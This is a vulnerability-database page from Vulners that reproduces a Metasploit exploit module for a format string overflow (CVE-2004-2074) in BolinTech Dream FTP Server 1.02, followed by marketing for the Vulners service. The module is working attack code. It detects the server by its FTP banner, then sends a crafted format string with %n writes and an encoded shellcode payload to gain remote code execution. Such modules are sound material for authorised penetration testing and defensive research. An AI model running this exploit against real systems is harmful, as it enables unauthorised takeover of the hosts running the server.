Lucene search
+L

BolinTech Dream FTP Server 1.02 Format String

🗓️ 03 Mar 2004 00:00:00Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 62 Views

BolinTech Dream FTP Server 1.02 Format String exploi

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'BolinTech Dream FTP Server 1.02 Format String',
        'Description'	=> %q{
          This module exploits a format string overflow in the BolinTech
          Dream FTP Server version 1.02. Based on the exploit by SkyLined.
        },
        'Author' => [ 'aushack' ],
        'Arch'	=> [ ARCH_X86 ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-2074'],
          [ 'OSVDB', '4986'],
          [ 'BID', '9800'],
          [ 'EDB', '823']
        ],
        'Platform' => ['win'],
        'Privileged'	=> false,
        'Payload' => {
          'Space'	=> 1000,
          'BadChars'	=> "\x00\x0a\x0d",
          'StackAdjustment'	=> -3500,
        },
        'Targets' => [
          # Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
          [
            'Dream FTP Server v1.02 Universal',
            {
              'Offset'	=> 3957680, # 0x3c63ff-0x4f
            }
          ],
        ],
        'DisclosureDate' => '2004-03-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(21),
      ]
    )
  end

  def check
    connect
    banner = sock.get_once
    disconnect
    if (banner.to_s =~ /Dream FTP Server/)
      return Exploit::CheckCode::Detected('FTP banner indicates Dream FTP Server')
    end

    return Exploit::CheckCode::Safe('FTP banner does not match Dream FTP Server')
  end

  def exploit
    connect
    select(nil, nil, nil, 0.25)
    sploit = "\xeb\x29"
    sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
    sploit << "@@@@@@@@" + payload.encoded
    sock.put(sploit + "\r\n")
    select(nil, nil, nil, 0.25)
    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Mar 2004 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.3578
62